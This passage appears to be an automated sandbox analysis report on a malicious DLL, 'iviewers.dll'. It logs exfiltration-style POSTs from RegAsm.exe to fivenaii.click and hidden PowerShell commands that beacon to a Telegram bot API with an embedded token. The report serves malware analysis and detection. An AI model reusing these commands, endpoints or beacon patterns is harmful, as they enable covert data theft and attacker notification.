2024-12-27 21:33:40 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k8mojuhl4jkv6os13f735fs7o9; expires=Tue, 22 Apr 2025 15:20:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YH5JTm9Vz878As0%2FR%2Bglb6ATx4NyCpw%2FQJiNSlz6AwERPcS99tpHmNYR3ic89keKDY91l05S%2B3VwM6jCmG803o4GZZdlMkRblllOEtWZlzPFtThqmXdXZn80Fp7L9Ec93Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e23386e4346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1750&rtt_var=669&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2094&delivery_rate=1620421&cwnd=252&unsent_bytes=0&cid=89b63937d62c8260&ts=800&x=0"
2024-12-27 21:33:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49775	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:41 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E8126BCFD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571086 Host: fivenaii.click
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: 2d 2d 45 38 31 32 36 42 43 46 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 45 38 31 32 36 42 43 46 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 38 31 32 36 42 43 46 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d 45 38 31 32 36 42 43 46 44 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --E8126BCFDContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--E8126BCFDContent-Disposition: form-data; name="pid"1--E8126BCFDContent-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--E8126BCFDContent
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 80 df 1e 9a 36 3a 50 10 fc e8 47 b3 37 8f 8c 04 aa c4 af dd 3c 9a 87 a2 d6 47 47 3c 57 7f be d5 10 Data Ascii: Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H36:PG7<GG<W
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 95 a7 76 27 9e 4d 6a 3d 48 be c0 68 58 38 c1 6e d4 cd 93 08 63 a6 d6 94 7d 28 0d c5 f8 68 f6 22 bc Data Ascii: 9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>Xv'Mj=HhX8nc}(h"
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b e7 68 7e 65 ad fd e4 4f bb 67 78 fa 2d 7f aa 1e 74 7b f5 c1 56 8d 62 51 da 3c 56 ec a8 fd c9 7f 89 Data Ascii: -CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<h~eOgx-t{VbQ<V
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 2c 2b 41 10 f1 67 7b 3a 50 d1 7e 86 24 d6 1a a4 06 6e 45 69 53 0f 7d dc f7 90 f5 e0 26 e7 bc 0e a1 Data Ascii: W4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<#],+Ag{:P~$nEiS}&
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 53 9f d5 93 c7 84 c0 3e 3f aa 43 fa a7 98 e7 41 fe 55 8c 1c 21 e6 f8 7d 1e b0 b0 d3 ce 6e 6b df 45 Data Ascii: l[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDSS>?CAU!}nkE
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 5c dd 18 2d f9 58 23 3d 5a a9 d4 b7 59 09 53 1f 03 10 5d 4a 7f c7 01 3c ca 3e 4a e7 3c 85 f2 ee 92 Data Ascii: ^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F\-X#=ZYS]J<>J<
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf a7 24 e0 9a d7 d2 e6 97 44 3c a9 d6 54 2e fd e7 75 da 59 bd a1 66 da 1c 62 a9 00 e6 75 53 75 c7 07 Data Ascii: w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc($D<T.uYfbuSu
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 e5 91 f9 f9 66 b7 e8 51 61 82 c2 4c ed 65 61 be 6f d5 9f e5 19 da fc 74 2a db a5 8a c8 24 52 d2 9e Data Ascii: ~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&fQaLeaot$R
2024-12-27 21:33:41 UTC	15331	OUT	Data Raw: bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 9d 37 ca 89 e1 de 52 cc 66 95 79 6f 57 c4 37 fd 56 a5 87 e2 39 0f ae f1 5b 00 76 2e 8a 10 bb a0 19 Data Ascii: }E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y17RfyoW7V9[v.
2024-12-27 21:33:44 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=shbudppio9k946k6f2nio64c5s; expires=Tue, 22 Apr 2025 15:20:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fFvfYeHuGCMzqFOg3%2FgQjZTYJ6Dfb7rE9oeCPbngl%2BjsBkjbSAH9VqFnpy2Jg%2FIKWifwXKEcFUKhd1lwYgxVjdy4zUeAJggSLEqUvR6Fxls5yfYygN%2FowmeXDVp96K4lkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e31cffe7d26-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2010&min_rtt=2004&rtt_var=764&sent=297&recv=592&lost=0&retrans=0&sent_bytes=2833&recv_bytes=573622&delivery_rate=1421616&cwnd=205&unsent_bytes=0&cid=698a9a854e16061f&ts=2274&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49776	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:45 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: fivenaii.click
2024-12-27 21:33:45 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 26 6a 3d 26 68 77 69 64 3d 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=VC6Dfm--TestOtctuk&j=&hwid=B9B295F31A84D198BEBA0C6A975F1733
2024-12-27 21:33:46 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1d5cb7c180ul4u5ojogesr2ssv; expires=Tue, 22 Apr 2025 15:20:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RdS6kTUsh%2Bqp2o2GxCrl1rDo4WhiGqG6jURrzk6lhaihQSl%2FHz6ldLoka6jSkzOwqkcq4b8PVsyuLjkeHlpcnkK8EqBrWyeSEu5tWwfrVMDKpglXkDyNT7sT5%2By35B5L%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e488e8c4399-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1885&min_rtt=1884&rtt_var=709&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=985&delivery_rate=1541710&cwnd=222&unsent_bytes=0&cid=8424327633a3c83b&ts=790&x=0"
2024-12-27 21:33:46 UTC	54	IN	Data Raw: 33 30 0d 0a 6f 2f 6a 30 78 31 73 37 5a 6f 38 37 61 65 6a 63 55 77 77 65 61 75 4c 37 31 32 32 33 4d 56 65 51 4f 71 76 43 78 59 6c 71 48 4e 6a 34 70 51 3d 3d 0d 0a Data Ascii: 30o/j0x1s7Zo87aejcUwweauL71223MVeQOqvCxYlqHNj4pQ==
2024-12-27 21:33:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\iviewers.dll"
Imagebase:	0xab0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll
Imagebase:	0xb0000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer
Imagebase:	0xe20000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Imagebase:	0xe20000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 1772, Parent PID: 1076

General

Target ID:	8
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 6096, Parent PID: 1436

General

Target ID:	9
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 6512, Parent PID: 1772

General

Target ID:	14
Start time:	16:32:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
